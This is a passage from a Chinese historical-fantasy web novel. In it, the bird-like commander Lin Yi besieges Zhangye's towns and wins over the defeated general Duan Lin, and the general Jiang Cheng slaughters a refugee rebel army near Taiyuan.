林一兵临之时,删丹已经做好准备,借由天险之便,在路上设计埋伏,如必经之路上挖好陷马坑洞,洞中竖起削尖的竹子,或是挖开河道使地面泥泞难行。最惊险的一次是路过一处山谷,对面设“火牛阵”,以数百头尾巴着火的雄壮公牛朝着骑兵们惊恐发疯冲撞而来,林一提前看过这段路,虽然她来时没发现火牛,再走的时候也很小心,骑兵是一截一截通过山谷的,火牛冲撞时仅撞在两千骑兵通行时。 这一招很阴损,因为战马也是非常容易在火光中惊慌的动物,火牛冲来最危险的不是人,而是马,但这是对付普通军队的法子。雪域人从小在马背上长大,这些精锐骑兵或与自身战马合作无间,或紧紧伏在战马背上不被摔落,也有骑术差的,就……窜到骑术好的马背上去呗。 仍然损失了些骑兵,安抚战马也花了些时间,林一憋着火气打删丹城打了一天一夜,进城之后就冷着脸拍地图。 “删丹已下,氐池和屋兰两城取其一就可直插觻得,张掖的守将应该已经从居延折返,是个军事高手,现在他一定设下两步棋,看我取哪座城,而且删丹这边火力不足,很明显是诱敌深入之计,要趁我破城欣喜之时来一场反败为胜。” 呼兰霍兰眉头拧起,又听林一说道:“但我要分兵,我去打屋兰,霍兰领一万骑兵去打氐池,如果氐池难下,就对峙一段时间,等我来援,不可兵在一处。” 呼兰霍兰询问:“若打下,如何办?” 林一想了想,说道:“霍兰,我要你在尽量不损失人员的情况下打出一些声势来,难下的话就放弃,如果能在代价很小的情况下占据氐池,那你才可以打,我们这么多人手,不是为了来添油的。” 霍兰点点头,仍然问:“打下来,怎么办?” 林一冷了一天的面容终于和缓了,咧开嘴巴,拍了拍霍兰的肩膀,“如果打下来,就约个时间,觻得城下一聚!” 觻得城中,张掖都尉和张掖郡守同坐宅邸书房内,这并不是上下级之间的交谈,而是伯父和侄儿之间的对话。张掖郡守段临段风起,今年三十四岁,正当盛年,留三撇清须,面貌端庄,沉思片刻说道:“如今武威已失,敌在删丹,郡中世族惶惶不安,凛儿,你真能保张掖之安?” 段凛二十左右年纪,面白脸俊,沉肃性子,闻言只是道:“伯父,接下来氐池和屋兰若失,段家只能早做打算,我虽自幼喜兵事,又蒙伯父看重,天子垂恩,做了三年都尉,但用兵之道不曾遇敌手,纸上谈兵尔尔。 “雪域来敌自后攻占武威,张掖失去先机,援兵断绝,那两郡兵员都是花架子,玉门都尉郑北山或有些能耐,但打到他那里时,玉门孤悬,岂有他翻盘之机。日前我去书玉门,要他带兵来援,我张掖守军可听他统御,他不应答,这是已有二心了。” 段临手按在桌案上,恨道:“郑石一介破落寒门,打仗或可,大局上没个成算!想是吃了雪域那边的好处,可我段家一郡之郡望,若降贼兵,面上如何说得过去?” 段凛折身行礼,“侄儿稍后连夜去屋兰,与那雪域敌全力做过一场,侄儿若败亡,伯父为我段家千年传承计,萧君天恩……便抛了吧。” 段郡守不由苦笑出声,“凛儿啊,你要以死报国,却叫伯父做这个恶人。” 世族、世族啊!对国是忠,对家是孝,自古忠孝难两全说的是国家和家族的利益无法两全,可不是皇帝老头问你,他跟你娘一起掉河里,你救哪个。 青年不再解释,只是又行了一礼,便出门辞别爹娘,披甲而去。 两日后兵临屋兰城下,经历了沿途水源被污染,山体被挖塌,各路陷阱坑洞不计其数,值得一提的是,复合工兵铲屡立大功,无论是挖清洁水源,还是掘土填路填坑洞,甚至拍毒蛇也是一绝啊,工兵铲的功能还是太超前。 千辛万苦来到屋兰城,林一的老一套夜袭没能成功,屋兰城中分四批巡逻军队,保证每一批守军都能得到充分休息的同时,保证守备力量绝不懈怠。军中情报层层传递,探子回城需要报上所属队列番号,绝无混进去的可能。城中人家全部紧闭门户,有专人运送物资,大街上只有守军在走动。至于城中世族想跑也没门,城池四面大门都把守森严,绝不任何人出入的机会。 林一鸟蹲在屋兰城一处世族宅邸的屋顶上,不由发出感慨,这也太谨慎了。 回到驻军大营,这边的营帐也已经建好了,学习了段凛的陷阱手法,在各处都挖了一些陷阱,只有自家的骑兵知道回大营的安全通道,林一回帐就各处安排工作,这回是个硬仗。 嗯……氐池那边可不是。 也许曾经是吧,一座县的最高武官职位是县尉,氐池县尉不好做,原先是叶朔老元帅安在氐池的一名年轻有为的武官,上任之后短短两天就死于匪盗之手, 老爷子怒了,我叶朔在边郡这么久了,不知道你们地方郡县的习惯吗?空降上级易溶于水,易死于匪是吧?接下来直接派遣一位手段老练的军中老将过来坐镇,如此安稳了十多年,叶朔去世了,老将心思动了,把一生热爱吃喝嫖赌就是不成器的儿子从老家叫来,接了他的班。 目前老将人是还在的,县尉给儿子当了,等于个太上县尉吧,他还把宅子也给了儿子,去村里贪污了几块地,找了佃农,安生做起田野富家翁。 但是事情有时候就是挺寸的,段凛给氐池下达军事调令,通常会交到太上县尉的手里,然后太上县尉再从村里回城里办事,办完事再回。但因为以前没有过从武威郡那边打过来的情况,他又是从张掖最北的居延塞带来的亲信,亲信可不知道这氐池里还有小县尉和太上县尉那一套,直接就把军情命令给了小县尉。 小县尉又转手把那几张纸揣怀里,去逛窑子的时候被不认字的窑姐儿拿去引灯烛了。 县令也是个醉生梦死的,是被太上县尉十多年来打压得不敢管事的,几下凑一块儿,呼兰霍兰头一天抵达氐池城,于当夜破城。一路从北门砍到南门,刀砍卷了换枪,枪沾血滑手就换马槊,光他一个人就杀了百十个守军。 小县尉腆着个大肚子,从窑子里被想要防御赶敌的一部分守军抓出来,把他簇拥起来去抵御敌军。小县尉路上还挣扎呢,结果刚到衙门口,从坊街上杀出血淋淋的一人一马,沿途砍掉的人头在马后滚了一地。 白胖青年嘴巴一张,两眼瞪直,看着冲杀过来的呼兰霍兰,久不转动的大脑里就回荡着一个想法。 啊?我打这玩意儿? 第107章 八月,雪域的气候已经开始转冷,又是一轮土豆丰收的时节,经过去年摸索,雪域人发现土豆只要在落雪之前发芽就可以种植,不是在烧着黑石的帐子里,而是大片大片的草场地里,这更是惊喜。 今年往辽东送去好几批土豆种苗,然后商队很远很远又运输了一些苞谷和甘薯回来,因为路上货运消耗太大,被苏赫阿那直接叫停了贸易往来。 或者说雪域和辽东压根不适合进行贸易,适合的地方在玉门,在瓜城,雁门云中那一带也可以,偏偏辽东就是太远了……倒是很适合和呼兰部落那边进行贸易。 叶利诃就啃着最后几根嫩苞谷叹气,“可惜了啊,大汗,苞谷生吃是甜的,磨成粉面熬糊糊也香啊!比咱们的土豆耐放。” 苏赫阿那微微摇头,忽然又道:“六谷右地,应该能够种植苞谷和甘薯,也不知现在情况怎么样了,伤亡如何。” 六天前林一回来过一趟,吃了两只羊睡了一个时辰就走了,说是武威那边已经差不多,下一步准备切断张掖郡,但是没有和他说伤亡,苏赫阿那心里一直记着这事。 叶利诃又啃了几口,一边嚼一边说,“大汗,我小时候就认得你,你……我就直说了哈!你就是太妇人之仁,二十年前就有拼掉克烈部的机会,硬生生忍了,二十年后还这样!不是所有年轻人都愿意老老实实放羊一辈子,他们要建立功业,要开疆拓土!要……” 话说到这里,苏赫阿那淡淡看了他一眼。 说得有些得意忘形的叶利诃一下子就泄气了,缩了缩脖子,声音小了些,但还是坚持说:“就是这样的,我没说错。” 苏赫阿那其实没怎么放在心上,人的性格放在这里,没有要求山羊去像狮子一样捕猎的道理,他这一生都不忍见到死亡,如何能改呢? 到下午的时候,汪古部有一支秘密商队进入议事大帐,这是苏赫阿那派往玉门的一支商队,托了汪古族长亲自走了这一趟,花了一笔不菲的数目买通玉门都尉郑石。 其实也不算买通,边郡本身就和雪域有很多私底下的交易往来,郑石常年和贩奴队合*作,贩卖魏朝人口,还有一些和克烈部的见不得人的买卖,这些都在苏赫部掌控雪域后被整理审问出来。这些案底放在魏朝,那是实打实的“通敌卖国”,在胁迫和利诱之下,郑石决定妥协。 嗯,今年三十八岁的郑石还回信称,想要拜苏赫阿那为义父,汪古族长乌普说起这个的时候噗噗直乐。 “那郑北山长得一副浓眉牛眼的样子,却要认您做父呢!咱们苏赫部的几位王子,哪个不是金相玉质,龙凤之表……啊这个词是最近边郡传得比较多,顺口的事,顺口的事。” 乌普说到一半才想起来,龙他是没见过,但是凤不就是苏赫大王的媳妇儿嘛!拿那怪鸟模样来夸人长得好,也就没见过的人敢说了。 苏赫阿那笑了一声,展开郑北山的回信,沉吟片刻,提笔回复,称之为北山吾儿。 开价总是要找一个好时机的,郑北山是个非常会找时机的人,昔年他灵堂认父,虽然被很多人笑话,但这么些年多少将领,谁上过老元帅的心?是因他为救小将军遍体鳞伤,濒死转醒哭嚎着要见小将军的棺,被抬上灵堂,口中念着小将军恩义,要抛家舍业给老元帅做儿子!众目睽睽,叶老元帅岂有不应之理。 此时他手里仍有价码,倘若要金要银反而不美,不如拉上父子关系,这样他至多是面上不好看些,可一旦玉门关破,这爹认得的就值当了! 至于人家苏赫大汗没比他大多少,也决计生不出一个三十八岁的好大儿,当初叶老元帅又连做他爷爷也够了……可这有什么关系,多个爹多条路嘛! 乌普这趟拿了信,又带了些香料皮子去贩,走西域那边的商路冒充西域人,这是他们雪域走商人的惯用招数了。 入夜,张掖郡屋兰城下,林一也开始四班倒,计算着弩机的射程,划拉了一片距离,开始挖掘地道。这个季节泥土不像冬季梆硬,挖掘起来不算费力。林一尽量让众人保持体力,轮换比较快,但没多久,就听说屋兰城里也在反向挖掘地道,倘若她这边挖进去,里头就打通地道,双方在狭窄地道里无法互相攻杀,而且对面也会趁你大军进入的时候挖塌地道。 林一果断叫停,屋兰城里也不再挖地道了。 夜里,城中忽然鸣起金鼓,有小股骑兵出城来战,在扎好的营帐外呼喝叫骂,林一在毡布上翻了个身,坐起来打了个哈欠。 苏赫忽律来得比较快,很兴奋地说:“可敦,我知道了,这是兵法里的疲兵之计,他们每天晚上过来骚扰,我们大军长期睡不好,就会削弱战力,这是魏人的兵法!” 大帐里灯火点燃,林一揉着眼睛说:“是,疲兵之计,但是没什么用,他们人数太少,值夜的骑队可以应对,我之前就下令让不当值的骑队不必听金鼓,唉,你半夜跑来就是为了说你看出了对面的计策啊?” 这话没什么责备的语气,就是有点困的询问声。 苏赫忽律顿时不吭声了,过了一小会儿,他又问道:“可敦,我们真的能打下右地吗?魏人已经占了那么多年,再打回来的还是我们雪域的右地吗?而且……我们会死很多人吗?他们也会死很多人吗?” 是个和他爹一样心软的小漂亮! 林一的心立马就软乎了下来,双手捧起苏赫忽律的脸,把他惊了一跳,就听林一很认真地承诺道:“可以!我的部落不可能一直生活在最苦寒的地方,雍西算什么,以后等我打更多的地盘,让你吃香的喝辣的,过上忽律公主的日子!” 巡夜的骑队长们纷纷看了过来,忽律公主……她说出来了,她居然真的说出来了! 苏赫忽律小的时候,还没有乌苏小王子的时候,部落里真的有很多人以为部落里是大王子和小公主啊!就算苏赫忽律少年时,也有很多哭瞎眼的慕艾少年坚持认为小公主只是喜欢穿男装,直到、直到他长出胡子。 要是别人,苏赫忽律就算不动手,也是会发脾气的,但是面对林一,他有些气弱,敢怒不敢言,只是从鼻子里哼出一口气。 苏赫忽律走后,林一马上就叫来所有千骑百骑过来开会,她其实有很阴损很不要脸的破城法子,但是没用出来,主要她不是虫族,吃空一片地方就飞走的那种,而是要得到这块地,再自己经营成地盘的,过于阴损的法子使用了,这片地方过很久都会有人记得。 首先林一说:“做好持久战的准备,屋兰城现在的守将段凛,是从居延城赶来的张掖都尉,他非常谨慎,目前没有什么破绽,但是屋兰城是张掖门户锁钥,身后就是郡治,后方一定会有援军。我们这次的战术是包围屋兰城,打击援兵,在军事上叫做围点打援,打败所有援军,迫使城中守军投降。” 当然,围点打援听起来朴素,实际上是不折不扣的高端战术,普通将领很容易被打成两面夹攻,这就没必要和千骑百骑们讲。 其次林一从武威方面调集了大量军粮,建了三个大粮仓,全都沿着水源路线而建,避免一个不慎被偷家烧粮。其实林一有空中视角,知道屋兰城的粮仓所在,但是偷袭烧粮的话,战后屋兰这么多人又要怎么养活?还是穷怕了,舍不得烧粮。 接下来的十二天,从张掖郡治觻得方向陆陆续续来了四批援军,都被林一轻松打掉,这些守军的军事素质往往很差,几乎等于拿了装备的农民。林一俘虏了一部分用来唱大戏,然后放走了大部分,不允许他们往觻得方向走,只准回村或者去武威郡,不然不放。等到十二日过后,又过几日,觻得是真的没有援军再至了,就到了玩攻心战术的时候。 林一弄了个高台,天天朝里嚷嚷。 “觻得那边的援军已经被打空了!俺家大将呼兰霍兰已下氐池城,正在前往觻得的路上,段凛,不要再拖俺时间了!” “段凛啊,恁爹娘说了,恁老婆要生孩子了!快打开城门回家去看看吧!” “段凛!原来你没老婆啊?那你要老婆不要?俺介绍一个给你啊!开城门相看相看,哪有不给姑娘看脸的对吧?” “段凛开门!开门啊!俺知道你在城里!俺又不开你后门,让俺进去瞅瞅行不?就瞅瞅也行,你开门,俺就看看不进去……” …… 总之就是一个没日没夜的骚扰,有时候还x骚扰,善良的小朋友不要学大坏鸟。当然林一是不承认自己坏的,她和呼兰霍兰确认了两方的进度,考虑到粮草补给问题,还是让呼兰霍兰先在氐池住下,等她这边拿下屋兰再兵合觻得城下。 * 段凛,无字,小名弱水郎,张掖段氏子,性沉肃,一生少语。魏末帝二十四年,帝至张掖,攻而胜之,欲自戕,帝喝问:“人生在世,父母恩养,汝宁闭眼以死报昏君,不肯睁眼见人间悲苦耶?”遂降。 ——《名臣传。正传卷四。段凛》 时人传言,苏赫皇后盛宠,帝私有四爱,除北都侯外,皆因惧后,不敢具其名。余一生阅遍经传,以为段公应有一席。正史有一微言:庚辰年春月繁花之宴,帝醉,唤弱水郎,连嘎四声,见后辄止。 ——《勾史》 第108章 八月三十一日,秋寒,白日无战。 林一估计城中粮草应该见底了,呼兰霍兰那边近万的骑兵已经从武威方向调了两次粮,而屋兰守军人数在四五千左右,屋兰城被围困前可还没有收上今年的粮税呢。 或者说今年边郡一带因为暴民的事几乎都放缓了收粮速度,有的世家更是直接免了今年的租子,这可不是发善心,而是止损。 林一想得其实还要更好一些,实际上屋兰城守军已经断粮两日了,在不劫掠城中民众的情况下,世族封门闭户。守军是外来的,是段凛从居延带来的边防守军,居延乃是面对雪域的第一线,对张掖来说算是偏远地方,至于屋兰自身的守军?全员点名共计七十七人!这是兵血上长出个蚂蟥县尉来了! 段凛来时还想收编屋兰守军的,毕竟在纸面上,屋兰这样的门户锁钥之城,守军定额两千整,他想着可能有空饷,可能不满一千人,但是真没想到是七十七人。 当然县尉人家也有话说的:“正是秋收时节,今年的情况不好,下官就多派了些人出去收粮,底下十几个村……” 段凛直接把人扔出了官舍,那七十七人也不收编了,派去巡夜打更,他带来四千守军,吃用的是屋兰县仓的粮食,多半是放久的陈粮,有士卒吃了拉肚子,那是没办法的事。可两日前傍晚,段凛站在仓前很久,然后下令分发粮袋,守军人人分得一小袋粮,脸上都没什么欢喜之情,反而忧心忡忡。 就连三年以上的陈粮,都要吃不上了。 有的士卒节省,这点子粮能吃个好几日,有的大肚汉想着一把造了完事,一天半就吃空了存粮,如今军中已经有饿了两顿的士卒。 恰在今日入夜前,那围困他们的雪域敌又爬上高台嚷嚷起来,也不知那嗓门如何这样大,嚷得城中大半地方都听得见,又嘎又笑的,浑身是精力,一听就吃得很饱。 “段凛啊!你饿不饿?饿了出城来,到城外俺给你做面汤!” “嘎嘎!城中的儿郎们,今晚我们大营烧豚肉吃,放了足足的料,开了城门,最少一人两块肉,好吃得嘎嘎叫!肉汤拌稻米饭吃好不好?” “哎呀,这麦粥真难吃,天天打援,没精力磨面了,听说你们张掖人很会做面食,段凛你会不会做面?俺想尝尝你下面。” “屋兰的人听着呀,守军快要断粮了,小心他们吃人哩!真的嘎!天要黑了,别给他们开门……” …… 像这样的喊话每天按饭点那么喊,之前没断粮时听着有些烦躁,有些好笑,但真饿了肚子,听起来就叫人头晕眼花了,烧豚肉、肉汤拌米饭吃,都尉会不会下面啊…… 入夜,段凛从守军中挑了五百名青壮军勇,集了些粮食让众人饱食一顿,自己却一口没吃,眉心拧着,看众人狼吞虎咽。于三更开北城门绕行,这几日一直有流民进出,他派出去的几批探子仅有两人回报,得知了林一的粮仓方位。 他不是去偷粮,而是去烧粮!粮食太重,即便四千人倾巢而出又能带回来多少?但历来攻城,无粮自去,如今援军断绝,这是唯一能够解围的法子。 月黑风高夜,杀人放火时。 段凛和亲卫十几人骑马在前,青壮在后,快速来到一处弱水支流河畔,先下马拜了拜河流。他自幼常惊梦,族中请了巫医来看,巫医称他非人也,乃弱水娘娘诞子,托灵入凡,教他家里开坛重拜弱水娘娘为母,取小名弱水郎,对亲父不称父,称恩公,对亲母不称母,而称恩姨。说来奇怪,自从开坛后,他便不再梦见那些光怪陆离之景象了。 “阿娘,若你真有灵,盼乞助我功成。若败,弱水郎愿水葬之,复还母身。” 拜河之后,便重新上马,夜奔粮仓而去。段凛行至近前,果然看到一座大粮仓,周遭有骑兵夜巡,布置了绊马索,用草汁涂抹成绿色,夜里看不清路径,走在前面的亲卫一下子就被绊倒,连人带马惊动绊马索上系着的铜铃。 “射火油箭!速速散开!”段凛当即下令,同时下马,十几名亲卫也跟着弃马,五百人趁夜色四散躲避,弓手从身后取出箭矢,点燃后射向粮仓。 守卫粮仓的骑队压根就不去救火,粮仓外围草拢被烧开,里头冲出大量骑兵形成一个口袋阵,段凛夜里看不太清楚,到骑兵靠近时,一下子就全明白了。 林一留在城下的大营只是一个空架子,只有外层的骑队做出严防死守的模样,实际上她在这边埋伏了足足四千多骑兵,慢慢地把段凛和他的五百居延兵包围其中。 骑兵打起火把,照亮段凛冷白俊容,青年抬头望向骑在马上的林一,被围困多日,他第一次见到敌方主将。 林一咧开嘴巴,鸭子嗓干干的,很笃定地说:“你是段凛?咋,出城来给我下面吃?” 段凛一声不吭,用脚勾起一把地上的长刀,反手架在脖颈上,哑声说道:“事败便死,我自戕之,乞女君仁慈,放过我这些兄弟,入城之后,毋伤我军民……” 说罢,刀锋已在脖颈上压出血口,人把刀子对向自己时通常很难下力道,段凛不同,他真的是说完话就下刀子啊! 林一没愣,马上快速说道:“俺还没回话,你就敢死?你一死俺就宰了这些人,停手停手!段凛,俺是真欣赏你啊!你是个有脑子会守城的,俺正需要你这样的人才!” 乌珠骨碌听不懂林一说的魏语,但从肢体语言和表情判断了一下,然后就跳下马背,几步走到包围圈前,一把拉开了段凛架刀的手,说的是雪域语:“可敦没让你死,你不能死。” 段凛抬起头,声音低哑,“凛为殉国而死,死得其所,众兄弟若因我而死……” 五百青勇中多数人怒吼出声:“死便死也!愿随都尉!” 段凛一拳打向乌珠骨碌面门,反手夺回了长刀,这次看起来不想废话,看起来不准备自戕,而是要背水一战,他身后不少人都举起了兵器。林一拧起眉头看着对面众志成城要来讨死的场景,声音比他们放得还大。 “人生父母养!你们一个个长到壮年,吃的是母奶父血,死了一二百斤肉撂在这里,这就是殉国?”林一大声喝斥,“殉国,殉个屁!三三的粮税,年年饿死人,从农民口里抠出粮,才引得流民暴起!克烈南下,未见几个真英雄,你魏朝兴盛时未见百姓安,衰亡时却有百姓哭,这等弊病累累之王朝有何可报,你们宁愿闭眼以死报昏君,不肯睁眼看看人间白骨?” “金城郡那边乱民打破郡城,烧杀抢掠到处都是尸骨,我是比那些乱民还凶暴吗?我打的是太平安康之世吗?你这五百人今晚死在这儿,只有脏我名声的作用!” 段凛手里的刀微微颤抖,眼睛死死盯着林一,想说什么又说不出口。他想说伯父会降,自己殉国是为段家洗些名声,也想说他不是对昏君有何忠诚,更想说自己错了,眼前的女子声声振聋发聩,都是些他平生从未想过的事。 林一跳下马来,拨开层层围护的亲卫,直接走到段凛面前,流光溢彩的鸟瞳迫视而来,“俺说了!俺要你!你不准死!” 三连之下,段凛握紧长刀,问道:“女君距我不过三四步,何敢如此迫我?凛一刀下去,便可血溅当场。” 林一的亲卫们纷纷咬紧牙关,眯起眼睛,努力逼自己不要在这么严肃的场合下笑出声,不然老婆要生孩子这种借口,不知道管不管用嘞。 深夜的秋风萧瑟,林一反而又近了一步,盯着他说:“不,你害怕了,你不敢回答我。” 段凛没有再说话。 林一很轻松地夺过了他手里的长刀,五百青勇都失了抵抗之心,被骑兵们一拥而上捆了起来,返回城下大营。 “趁夜破城!” 林一一声令下,有段凛在手,打了没多久就有城中世族跑来开门,守军的抵抗非常弱,有的俘虏还问做了俘虏有没有肉汤喝,白天说有烧豚肉,还有肉汤白面白米饭的。 鸟大王略有些尴尬,喊话是喊话嘛,较真干什么嘛!她自己都有两天没吃肉了,不过还是给俘虏们喂了一顿饱饭,水煮的麦饭,放了盐的。 这边很快处理着屋兰城的事,林一又抽空见了段凛,想再劝降的,话没说两句,段凛两眼一翻向后倒下。 林一飞速接住段凛,近距离看感觉真不错啊,冷白的皮肤,清俊的五官,姿色虽然比不上王澈那种神仙颜,但是好白好白啊,白的更显俊。她鸟鸟祟祟看了一眼牢房外面,亲卫马上很闲散地聊起天来。 林一安心了,压低声音问:“跳过劝降了?直接就范吗?这,我还没有准备好呢。” 段凛闭目,一动不动,林一用空着的手挠了挠头,终于发现好像不是她想的那样,于是请来医者看了看。 哦豁,不是投怀送抱,至少有三天没吃了。 第109章 段凛一觉醒来,屋里明显不是牢房的环境,再闻见一股炖煮出来的面香。 张掖这样的边郡吃面食确实比较多,中原那边更偏向稻粟,麦子是外来的谷物,耐旱易种,更加适应雨水少的地区。但是麦饭难吃,往往需要磨成细粉精心加工成白面,不是穷苦人家有心思做的,这年头有个专门的成语用来形容野人农夫的吃食:麦饭藿羹。 麦饭粗糙,吃起来拉嗓子,藿羹是指豆子汤,喝多了胀气。穷人的精力往往不值钱,但干活耗力气,力气用多了饭量就会变大,农闲歇着时,青壮往往一天一顿饭,干活越少吃饭越少,士卒吃的多半也是麦饭。 这种粗糙吃食,段凛有时也会跟着士卒吃一些,但大多数时间他更习惯精细的面食,他在居延有专门的都尉官邸,养几个仆从专司职事,虽无山珍海味,也是顿顿香足。 这次只是军粮告急,城外围困,他饿了这几日是因没心思吃,闻见香气倒也没有失态,起身下床朝外走去。 出了房间,段凛便认出是城中一户世族的家宅,院子里到处都是草席,他从居延带来的守军兄弟有千把人在这儿充俘虏,周围也有简陋的土灶,大锅里咕嘟嘟熬着面汤,有不少人已经喝上了,也有人手里没有碗勺,在和别人共吃一碗。 “都尉!都尉醒了!”有个正在喝汤的亲卫马上就把碗放到其他人手里,起身兴奋地说。 院子里上千的居延守军都往前围,原先坐在草席上的也都站起来,段凛抬抬手,他脸色很苍白,神情倒没有昨夜那样的绝望,看了看众人,询问道:“此间是甘氏老宅?其他人呢?都……” 有个亲卫连忙说:“都在宁家、沐家、还有李家的宅子里呢!林女君打破了城中世家的宅邸,把世家粮仓都给开了,都尉你是不知,足足够咱们吃二年的!” “就是就是,甘家主还在外头哭穷,粮仓打破了,就数他家存粮多,先前我们都要饿死了,没见他往外掏一粒米。” “都尉,喝点面片汤吧,放了葱韭,喝着香呢!” 段凛还是发晕,眉心拧出一道竖纹,沉声说道:“掠人私产,和流民匪盗何异,罢了,你们喝吧,我喝不下。” 转身便要走,刚回头就听见墙头一声轻佻的口哨声。段凛抬起头,就看到林一蹲在墙头,只露出个脑袋和扒在墙头的双手,脑袋一歪,朝他咧开嘴,明明是一副优越的好相貌,却叫他想起军中最流里流气的老兵油子。 俘虏们都有些惊慌,林一摆摆手,“别慌别慌啊,吃你们的,喝你们的。俺就是觉着奇怪,段凛,你是世族子弟,你有地吗?有房子吗?” 段凛不知这敌将为何问这个,顿了顿,说道:“我吃用都在官舍,另有良田百亩,屋舍十几间,由族中代管。” 这已经算很穷很穷了,世族计算田产通常不是按亩计,而是“顷”,一顷就是百亩,魏朝大世族的最低标准就是族有百顷,低于这个范围就算下品世族了。若再低至三十顷以下,家有不足三千亩地,这叫寒门,许多拜了名师的寒门学子实际上还能拥有富贵的生活,寒门跟寒门的差距也是巨大。 段凛的穷把林一准备好的长篇大论的演讲都给噎了回去,她瞪着鸟瞳,略微心算了一下。不算佃户,一个独身自耕农想要养活自己,吃饱肚子,在高额的三三税之下活命,那么最少需要种二十亩田,一个普通农耕家庭通常也有个几十亩田,有富余的人手再出去做做短工,这样勉强维生。而段凛是怎么做到身为一郡之都尉,郡中最高职的武官的情况下,只有百亩地的呢? 要知道隔壁氐池那个太上县尉,在一个小县里干县尉干了十多年,他都敢贪污五顷地。 她不可置信地问:“就这?” 段凛没再回答这个问题,他有些想要避开这种像是村里男女相看的离奇对话,眉眼转低,轻声说道:“女君,觻得那边,伯父不会死守,段氏乃张掖之豪强,历来抚民安邦,世代守土……” 林一这下精神起来了,“张掖被魏朝打下来也就二百年吧,咋你们世代了?” 段凛有些奇怪地看了她一眼,声音很低,似乎有些担心林一恼羞成怒,“段氏之初,为白蛮族,世居雍西,世为右贤王之佐臣。雍西落入魏郡后,段氏自武威迁居张掖,边郡之世族谱系,我段氏可排前三之列。” 也就是说,雪域的三王制有多久,段家大致就有多久了,人家比土著还土著呢,可能从石器时代就住这儿了。 没看过世族谱系,这玩意儿林一倒是有,但是这个姓那个氏的看得鸟头大,啥也没记住。林一反正感觉和段凛聊得挺艰难的,这应该不是她的问题,而是段凛的,都是世家子,咋她的卧龙凤雏就挺好交流的呢? 林一愤怒地吹了声流氓哨就走了。 九月初二,料理了几日屋兰城中事,林一飞去通知呼兰霍兰,两军双线并下,出发前往觻得城,此时张掖全境仅有郡治觻得、昭武县城,以及偏远的居延一带还没有拿下。鉴于张掖都尉和四千守军已经在手,林一就像放弃武威郡的武威县一样,同样放弃了居延,等拿下其余两郡后,即可不战而屈人之兵。 不是说居延不重要,相反,这是雍西四郡的重要关隘,主要起到的作用是……防雪域人┓(′-‘)┏。 林一预备回程的时候打穿这里来着。 与此同时,一场规模极大足可以写入史册的大型战役、额,不在张掖郡打响。是天水郡那边的朱大方以人数优势打破安定郡后,野心空前膨胀,叫上军师老三和弟弟朱二脑袋,决定过洛水经西河攻打太原,占领整个富庶的关中平原。 只说地名,好像很难形容他的路线决策,此时流民军中人数已经超过十万,这种规模的裹挟总会卷进一些世族寒门的游学子弟,总有人为了活命来给他出主意,但朱大方压根听不得什么世族计策。他对几个寒门子弟倒是还好,因为他光听说寒门怎么怎么低贱,压根不知道人家家里也有几顷地的。 大部分寒门子弟读的是儒学,这东西是真好学,笨的学皮,灵的学骨,就是没学过打仗,从地图上看位置绝佳,就也跟着朱大方一拍脑袋,定策占领关中。 可是吧,攻打太原是很寸的,不说本身关中平原的兵力,只说位置好了,这里再北上一点点就到雁门,而雁门住了个杀神。 上个月,西河郡流民作乱,起义军头七个,号称七大王,啸聚起六万流民分扑邻郡,踏入了雁门地盘。杀神江骋率三千骑兵大肆屠戮西河七大王的六万流民军,一路追击至太原,无论流民军中老弱妇孺还是青壮,追上便杀,几乎将其全歼。 最后剩下三个流民军头带着五六千人占了一座县城关门死守,江骋则成了太原郡守的座上宾,每每邀他赴宴,都在劝他多留些时日。如今各地流民纷乱,有江骋在,是真的很安心啊! 太原与雁门算是相邻,而且富庶远胜雁门,同样兵强马壮,但有一项最大的缺憾:郡中无良将。 毕竟昔日王朝太平,有本事的将领要么镇守险要之地,要么在沿边一带做都尉,太原可不沿边啊,前头有个雁门挡着呢。太原本身的地理位置好,地方富庶,那和将领没啥关系,是世族争夺之地。现在世族的那些勾心斗角打不退流民,太原郡守李云态度非常诚恳,多次和江骋彻夜谈心,才把这位将门虎子留了再留。 面对太原郡守李云,江骋像是个初出茅庐的年轻将领,稍显青涩腼腆,仿佛不知如何拒绝,几次辞别未果只好留下,两人便以叔侄相称。几番过后,李云动了心思,这日,他从族中挑了一个女孩儿,又请江骋赴宴。 李家乃是太原之郡望,宅邸极大,用来待客的厅堂高阔,雕梁画栋,唯有南面角落摆放一面格格不入的纸屏,屏后有一主一仆,一座一侍立的身影。 李云朗笑道:“贤侄坐,今日无别事,我惯常喜好直言,也不与你兜圈子。这是我幼弟家中幺娘,出身差些,生母是个胡姬,族里不怎么教养她,随她意思来!我这侄女自小胆大爱英雄,自从贤侄来到太原,她就在家里闹着要见,今日叫她过来。” “幺娘,你自屏后探身出来,和贤侄瞧一面,贤侄若看得上你,便是你的造化,今日族中万金陪嫁陪送你出门,与杨贤侄做个良妾。贤侄,你看我这侄女十分貌美,有旺子之相,生儿必英雄,生女好姿容啊!” 江骋静坐席间,见一绝色美人落落大方探出半个身子来,目光流转在他身上,又款款轻柔,羞颜低眉回到屏风后。 李云笑眼看江骋,正待再加一把火,忽然外间有人通传军情,“家主!急报!急报!天水乱贼来攻我太原也!天水贼号称十万大军……” 不仅李云笑脸一滞,席间几位陪客也都六神无主,天水乱贼!那不是今秋乱贼里规模最大也最凶残的那一批吗?打出的旗号就是“见绸衣者即杀”,连襁褓婴孩和世族弱女都逃不过砍头的! 江骋反倒松了一口气,起身对李云行礼道:“叔父莫惊,暂请太原郡中一切私兵部曲,朝廷守军,尽听我令,区区流民,不足畏也。” 十万流民,在他眼里不比十万头猪难杀。 第110章 九月初,家家哭。 未等天水乱民兵至太原,江骋领兵出郡迎敌,挑在一处大河谷先阻击了一波流民军,三千黑水军埋伏两侧,这些都是骑兵。由太原玄甲步兵分三路先行冲阵,切割出几处战场后,远程弩机弓箭覆盖交叉射击范围,先屠了一批跑得慢的老弱妇孺。 随后玄甲兵力竭,黑水军以轻骑马速追击屠戮四散奔逃的流民主力青壮,几乎就和砍瓜切菜没什么区别,等到黑水军追击大批流民至汾水河畔,在沿河区域歇了两天的大批世族部曲发兵合围绞杀。流民们八面尽数是令旗,左冲右突都找不到任何突围的方位,江骋没有林一的好嗓门,他以旗语令诸军将校,在大片的屠杀血景之中,轻轻抚摸了一下黑水军的战旗。 对流民,这次没有围三阙一,天水贼的数目太大了,阙一反而会引得流民从缺口大量涌出,所以是一层层地绞杀,像从外层剥离血衣,汾水河畔,无数怒号哭叫求饶声交织一处。 